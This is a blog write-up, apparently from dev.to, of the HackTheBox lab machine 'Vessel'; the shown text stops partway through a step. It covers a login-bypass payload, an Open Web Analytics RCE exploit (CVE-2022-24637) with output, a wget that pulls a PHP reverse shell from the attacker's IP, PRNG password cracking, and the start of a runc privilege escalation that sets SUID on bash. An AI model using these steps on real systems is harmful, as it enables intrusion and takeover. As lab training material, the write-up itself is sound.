      <dc:creator>Muhammad Usman</dc:creator>
      <pubDate>Sun, 05 Mar 2023 15:31:35 +0000</pubDate>
      <link>https://dev.to/codeninjausman/hackthebox-htb-writeup-vessel-hard-10bb</link>
      <guid>https://dev.to/codeninjausman/hackthebox-htb-writeup-vessel-hard-10bb</guid>
      <description>&lt;h2&gt;
  
  
  Objectives
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;User flag&lt;/li&gt;
&lt;li&gt;Root flag&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  SCANNING
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;gt; TARGET=10.129.112.189 &amp;amp;&amp;amp; nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: Vessel
|_http-favicon: Unknown favicon MD5: 9A251AF46E55C650807793D0DB9C38B8
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  WEB ENUM
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Inspecting the web page found a domain name: vessel.htb, add this to /etc/hosts&lt;/li&gt;
&lt;li&gt;Registering an account at &lt;a href="http://vessel.htb/register"&gt;http://vessel.htb/register&lt;/a&gt; shows currently not available&lt;/li&gt;
&lt;li&gt;Inspecting the traffic found a connect.sid, this indicates the use of nodejs express
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POST /api/register HTTP/1.1
Host: vessel.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Origin: http://vessel.htb
Connection: close
Referer: http://vessel.htb/register
Cookie: connect.sid=s%3ARkA_yhB0F8t4odxYkuBR7mSZW-eC_dHI.%2BQIqgvsy53mYn4YE12ma%2BtBKcRNpCaLdzcM4d5Gd81U
Upgrade-Insecure-Requests: 1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Running path scan found a path called /dev
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;gt; dirsearch -u http://vessel.htb/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Continue dirsearch under /dev found this is a git repository.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;gt; dirsearch -u http://vessel.htb/dev
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Use git-dumper to dump the git repo
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;gt; python3 ~/tools/git-dumper/git_dumper.py http://vessel.htb/dev repo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Note that there might be an error saying 'Index' object has no attribute 'iterblobs', to fix, pin your dulwich version to 0.20.20
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;gt; python3 -m pip install dulwich==0.20.20
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Subdomain enum didn’t find anything
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;gt; wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://vessel.htb/" -H "Host: FUZZ.vessel.htb"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  SOURCE CODE INSPECTION
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Inspect git log of the leaked repo
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;gt; git log
commit 208167e785aae5b052a4a2f9843d74e733fbd917 (HEAD -&amp;gt; master)
Author: Ethan &amp;lt;ethan@vessel.htb&amp;gt;
Date:   Mon Aug 22 10:11:34 2022 -0400
    Potential security fixes
commit edb18f3e0cd9ee39769ff3951eeb799dd1d8517e
Author: Ethan &amp;lt;ethan@vessel.htb&amp;gt;
Date:   Fri Aug 12 14:19:19 2022 -0400
    Security Fixes
commit f1369cfecb4a3125ec4060f1a725ce4aa6cbecd3
Author: Ethan &amp;lt;ethan@vessel.htb&amp;gt;
Date:   Wed Aug 10 15:16:56 2022 -0400
    Initial commit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;From git log, found developer name is Ethan
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Author: Ethan &amp;lt;ethan@vessel.htb&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Found db credential in config/db.js
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;var connection = {
        db: {
        host     : 'localhost',
        user     : 'default',
        password : 'daqvACHKvRn84VdVp',
        database : 'vessel'
}};
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  BYPASS WEB LOGIN
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;By inspecting the code, it seems that the sqli issue had been fixed in /routes/inject.js
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;router.post('/api/login', function(req, res) {
    let username = req.body.username;
    let password = req.body.password;
    if (username &amp;amp;&amp;amp; password) {
        connection.query('SELECT * FROM accounts WHERE username = ? AND password = ?', [username, password], function(error, results, fields) {
            if (error) throw error;
            if (results.length &amp;gt; 0) {
                req.session.loggedin = true;
                req.session.username = username;
                req.flash('success', 'Succesfully logged in!');
                res.redirect('/admin');
            } else {
                req.flash('error', 'Wrong credentials! Try Again!');
                res.redirect('/login');
            }           
            res.end();
        });
    } else {
        res.redirect('/login');
    }
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;However, note that the username and password fields can be evaluated as objects, instead of strings. For more detail see this post: &lt;a href="https://www.stackhawk.com/blog/node-js-sql-injection-guide-examples-and-prevention/"&gt;https://www.stackhawk.com/blog/node-js-sql-injection-guide-examples-and-prevention/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;So, to bypass the auth check, run burp to intercept the traffic and send a login request, then in burp, change the request to the following
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;username=admin&amp;amp;password[password]=1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Bypass the login to get to the admin dashboard and under user icon found a button to Analytics, where a new subdomain is found: openwebanalytics.vessel.htb, add this to /etc/hosts&lt;/p&gt;
&lt;h2&gt;
  
  
  OPENWEBANALYTICS
&lt;/h2&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;With some searches online, it is found that openwebanalytics (owa) is vulnerable to a recently discovered vulnerability: &lt;a href="https://www.cvedetails.com/cve/CVE-2022-24637/"&gt;https://www.cvedetails.com/cve/CVE-2022-24637/&lt;/a&gt;, more detail can be found here: &lt;a href="https://devel0pment.de/?p=2494"&gt;https://devel0pment.de/?p=2494&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The vulnerable source code can be found here: &lt;a href="https://github.com/Open-Web-Analytics/Open-Web-Analytics/tree/1.7.3"&gt;https://github.com/Open-Web-Analytics/Open-Web-Analytics/tree/1.7.3&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Inspecting the code in modules/base/classes/fileCache.php, basically, a cache file is generated with its corresponding action, the cache file is stored at&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$cache_file = $this-&amp;gt;makeCollectionDirPath($collection).$id.'.php';
# this corresponds to http://openwebanalytics.vessel.htb/owa-data/caches/1/
# cache_id is 1 by default
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;The cache file is generated using the id of the user in the format: md5(id1)&lt;/li&gt;
&lt;li&gt;So, for the user with an id of 1, the cache name would be: fafe1b60c24107ccd8f4562213e44849&lt;/li&gt;
&lt;li&gt;Using &lt;a href="http://openwebanalytics.vessel.htb/index.php?owa_do=base.passwordResetForm"&gt;http://openwebanalytics.vessel.htb/index.php?owa_do=base.passwordResetForm&lt;/a&gt;, we can figure out a valid email, &lt;a href="mailto:admin@vessel.htb"&gt;admin@vessel.htb&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;i assume this user has an id of 1, and in the end it turns out to be true.&lt;/li&gt;
&lt;li&gt;We can attempt to login using this account, even a failed login will generate the cache file under: &lt;a href="http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_configuration/"&gt;http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_configuration/&lt;/a&gt;, yet this cache doesn’t contain any user sensitive info. So we need to find other corresponding actions to generate another caches.&lt;/li&gt;
&lt;li&gt;With some Google search, i found someone else’s website running owa and revealed how the cache files are named. Then way i searched is using google search operators:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;inurl: "owa-data/caches"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Later, i found that by requesting to reset password for the user &lt;a href="mailto:admin@vessel.htb"&gt;admin@vessel.htb&lt;/a&gt;, a cache will be generated at &lt;a href="http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_user/fafe1b60c24107ccd8f4562213e44849.php"&gt;http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_user/fafe1b60c24107ccd8f4562213e44849.php&lt;/a&gt;, this can be observed because when a cache file is there, the path &lt;a href="http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_user/"&gt;http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_user/&lt;/a&gt; will display a blank page instead of the directory listing view.&lt;/li&gt;
&lt;li&gt;Check the content of the file:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# get the base64 encoded content and then decode it
&amp;gt; curl http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_user/fafe1b60c24107ccd8f4562213e44849.php
O:8:"owa_user":5:{s:4:"name";s:9:"base.user";s:10:"properties";a:10:{s:2:"id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:1:"1";s:9:"data_type";s:6:"SERIAL";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:7:"user_id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:1;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:8:"password";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:60:"$2y$10$seT74YJuo1hsZgXS4UCYFOMogk95iQzGkCR9YjXoUAOg7w.dwumzO";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:4:"role";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:9:"real_name";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:13:"default admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:13:"email_address";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:16:"admin@vessel.htb";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:12:"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"56801c66e2a182724800625776088f0e";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:13:"creation_date";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:10:"1650211659";s:9:"data_type";s:6:"BIGINT";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:16:"last_update_date";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:10:"1650211659";s:9:"data_type";s:6:"BIGINT";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:7:"api_key";O:12:"owa_dbColumn":11:{s:4:"name";s:7:"api_key";s:5:"value";s:32:"a390cc0247ecada9a2b8d2338b9ca6d2";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}}s:16:"_tableProperties";a:4:{s:5:"alias";s:4:"user";s:4:"name";s:8:"owa_user";s:9:"cacheable";b:1;s:23:"cache_expiration_period";i:604800;}s:12:"wasPersisted";b:1;s:5:"cache";N;}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;The password hash can be found from the cache, but it cannot be cracked. However, we can see there is a temp_passkey, which can be used with the base.usersChangePassword action to change the account’s password
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://openwebanalytics.vessel.htb/index.php?owa_do=base.usersChangePassword
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Inspect the form to check the key name (hidden in the form) used for this request owa_k&lt;/li&gt;
&lt;li&gt;Remove the hidden property, and paste the temp_passkey into the field, then change the password&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Now, you should be able to login the account admin using the newly set password&lt;/p&gt;
&lt;h2&gt;
  
  
  FOOTHOLD
&lt;/h2&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Once logged in as admin, there is a poc that exploits the settings page: &lt;a href="https://github.com/watchdog2000/cve-2022-24637_open-web-analytics-info-disclosure-to-rce"&gt;https://github.com/watchdog2000/cve-2022-24637_open-web-analytics-info-disclosure-to-rce&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;For details about how this exploit works, read the second vulnerability on &lt;a href="https://devel0pment.de/?p=2494#vuln2"&gt;https://devel0pment.de/?p=2494#vuln2&lt;/a&gt;. Basically, there is lacking restriction on the config checking, so this can be exploited to set a different base.error_log_file (can be a php file) and a different logging level base.error_log_level.&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;gt; python3 cve-2022-24637.py -u http://openwebanalytics.vessel.htb/ -U admin -P test123
[+] - Found cache url: http://openwebanalytics.vessel.htb//owa-data/caches/1/owa_user/c30da9265ba0a4704db9229f864c9eb7.php
[+] - Downloaded cache
[+] - Found passkey: c849df0b12c44d26568c2be0e99e4862
[+] - Changed password of user admin to 'test123'
[+] - Submitted update for log file, ready for RCE...
SHELL&amp;gt; id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Note that this shell is very unstable, you’d better upgrade to a better shell
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;gt; cp /usr/share/webshells/php/php-reverse-shell.php w.php
# change the IP and port
# in the owa rce shell
SHELL&amp;gt; wget http://10.10.16.59/w.php
# run a nc listener and browse to http://openwebanalytics.vessel.htb/owa-data/logs/w.php in the browser

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Once receiving a better shell&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  REVERSE ENG
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;There is a passwordGenerator under /home/steven, this appears to be a windows executable&lt;/li&gt;
&lt;li&gt;There is also a png and a pdf file under /home/steven/.notes/
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/home/steven/.notes/screenshot.png
/home/steven/.notes/notes.pdf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;The notes.pdf file is password protected, and the screenshot.png shows you what possible password complexity is used to generate the password.&lt;/li&gt;
&lt;li&gt;Coming back to passwordGenerator. This is a windows 32 PE file, which is compiled using pyinstaller, to decompile it, use
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://github.com/extremecoders-re/pyinstxtractor
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Note that this tool is made for 3.7, so, to ensure things can be extracted correctly, you need to install python3.7&lt;/li&gt;
&lt;li&gt;Then, install uncompyle6 to decompile the passwordGenerator.pyc file, it is suggested to create a virtualenv for python3.7 so that you can always revert when things didn’t work out
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# install virtualenv and activate
python.exe -m pip install virtualenv
python.exe -m virtualenv env37
env37\Scripts\activate
# extract content
python pyinstxtractor.py passwordGenerator
# decompile
pip install uncompyle6
uncompyle6 passwordGenerator.pyc

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Reading the code, it would seem that there is a 32¹²⁸ combinations of passwords, however, running the code on these lines shows that the idx will only be a limited number of values due to how QT implements the random number generator.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;qsrand(QTime.currentTime().msec())
password = ''
for i in range(length):
    idx = qrand() % len(charset)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Copying the genPassword code and modify it to make it work.&lt;/li&gt;
&lt;li&gt;Then create a while loop to genreate passwords, the process will become extremely slow at around 1000 passwords.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from PySide2.QtCore import *
def genPassword():
    length = 32
    char = 0
    if char == 0:
        charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&amp;amp;*()_-+={}[]|:;&amp;lt;&amp;gt;,.?'
    else:
        if char == 1:
            charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
        else:
            if char == 2:
                charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
            else:
                pass
    try:
        qsrand(QTime.currentTime().msec())
        password = ''
        for i in range(length):
            idx = qrand() % len(charset)
            nchar = charset[idx]
            password += str(nchar)
    except:
        print('error')
    return password
def gen_possible_passes():
    passes = []
    try:
        while True:
            ps = genPassword()
            if ps not in passes:
                passes.append(ps)
                # print(ps)
                print(len(passes))
    except KeyboardInterrupt:
        with open('pass.txt', 'w') as ofile:
            for p in passes:
                ofile.write(p + '\n')
gen_possible_passes()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Then use it with pdfcrack, you should have your password.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;gt; pdfcrack -f notes.pdf -w ~/share/passwordGenerator_extracted/pass.txt
PDF version 1.6
Security Handler: Standard
V: 2
R: 3
P: -1028
Length: 128
Encrypted Metadata: True
FileID: c19b3bb1183870f00d63a766a1f80e68
U: 4d57d29e7e0c562c9c6fa56491c4131900000000000000000000000000000000
O: cf30caf66ccc3eabfaf371623215bb8f004d7b8581d68691ca7b800345bc9a86
found user-password: 'YG7Q7RDzA+q&amp;amp;ke~MJ8!yRzoI^VQxSqSS'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Open up the pdf file, you should have ethan’s password
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Dear Steven,
As we discussed since I'm going on vacation you will be in charge of system maintenance. Please
ensure that the system is fully patched and up to date.
Here is my password: b@mPRNSVTjjLKId1T
System Administrator
Ethan
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Login as ethan to get the user flag&lt;/p&gt;
&lt;h2&gt;
  
  
  PE
&lt;/h2&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Upload linpeas.sh and run, found the following info&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-rwsr-x--- 1 root   ethan      796K Mar 15 18:18 /usr/bin/pinns (Unknown SUID binary)
[+] Checking if runc is available
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation/runc-privilege-escalation
runc was found in /usr/sbin/runc, you may be able to escalate privileges with it

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;With some google search, this is found to be related to a recent vulnerability: &lt;a href="https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/"&gt;https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  EXPLOITING CVE-2022–0811
&lt;/h2&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Follow the steps closely, this is a confusing exploit&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Note that there is no kubectl, minikube, docker etc involved in this exploit. You need to understand the concept of cve-2022–0811 and replicate using the underlying commands&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Using pspy64, we can see that there are some scripts that keep deleting stuff in various folder. So i decided to do my exploit in /tmp/meow folder.&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2022/08/31 05:28:01 CMD: UID=0    PID=53674  | sudo -u ethan rm -rf /home/ethan/*sh /home/ethan/.*sh /home/ethan/*/*.sh /home/ethan/*/*sh /home/ethan/.*/*sh /home/ethan/.*/.*sh
2022/08/31 05:28:01 CMD: UID=0    PID=53673  | /bin/sh /root/scripts/clean2.sh 
2022/08/31 05:28:01 CMD: UID=0    PID=53672  | /bin/sh -c /root/scripts/clean2.sh 
2022/08/31 05:28:01 CMD: UID=0    PID=53676  | /bin/bash /root/scripts/clean.sh 
2022/08/31 05:28:01 CMD: UID=0    PID=53679  | sudo -u steven rm -rf /home/steven/.notes/.*sh /home/steven/.notes/*sh 
2022/08/31 05:28:01 CMD: UID=1001 PID=53681  | rm -rf /home/steven/.notes/.*sh /home/steven/.notes/*sh 
2022/08/31 05:28:01 CMD: UID=0    PID=53682  | umount /home/ethan/utsns/* /home/ethan/ipcns/* /home/ethan/netns/* /home/ethan/cgroupns/* 
2022/08/31 05:28:01 CMD: UID=0    PID=53683  | umount /home/steven/utsns/* /home/steven/ipcns/* /home/steven/netns/* /home/steven/cgroupns/* 
2022/08/31 05:28:01 CMD: UID=0    PID=53685  | sudo -u ethan rm -rf /home/ethan/utsns /home/ethan/ipcns /home/ethan/netns /home/ethan/cgroupns 
2022/08/31 05:28:01 CMD: UID=1000 PID=53686  | 
2022/08/31 05:28:01 CMD: UID=0    PID=53687  | sudo -u steven rm -rf /home/steven/utsns /home/steven/ipcns /home/steven/netns /home/steven/cgroupns 
2022/08/31 05:28:01 CMD: UID=0    PID=53689  | sudo -u ethan rm /tmp/*.sh 
2022/08/31 05:28:01 CMD: UID=0    PID=53691  | /bin/sh /root/scripts/clean2.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Open &lt;strong&gt;two ssh sessions&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  STEP 1
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;In session 1, do the following
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ethan@vessel:~$ mkdir /tmp/meow &amp;amp;&amp;amp; cd /tmp/meow
ethan@vessel:/tmp/meow$ runc spec --rootless
ethan@vessel:/tmp/meow$ mkdir rootfs
ethan@vessel:/tmp/meow$ vi config.json 
############# under mounts section, add the following content
{
    "type": "bind",
    "source": "/",
    "destination": "/",
    "options": [
        "rbind",
        "rw",
        "rprivate"
    ]
},
#############
ethan@vessel:/tmp/meow$ runc --root /tmp/meow run alpine
# you should be in the container now, but this is a read-only filesystem
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  STEP 2
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;In session 2, create a script that adds the s bit to /usr/bin/bash
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ethan@vessel:~$ echo -e '#!/bin/sh\nchmod +s /usr/bin/bash' &amp;gt; /tmp/meow/e.sh &amp;amp;&amp;amp; chmod +x /tmp/meow/e.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  STEP 3
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;In sesison 1, check the script is created and is executable
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# ls -ls /tmp/meow
total 16
4 drwx--x--x 2 root root 4096 Aug 31 10:49 alpine
4 -rw-rw-r-- 1 root root 2875 Aug 31 10:49 config.json
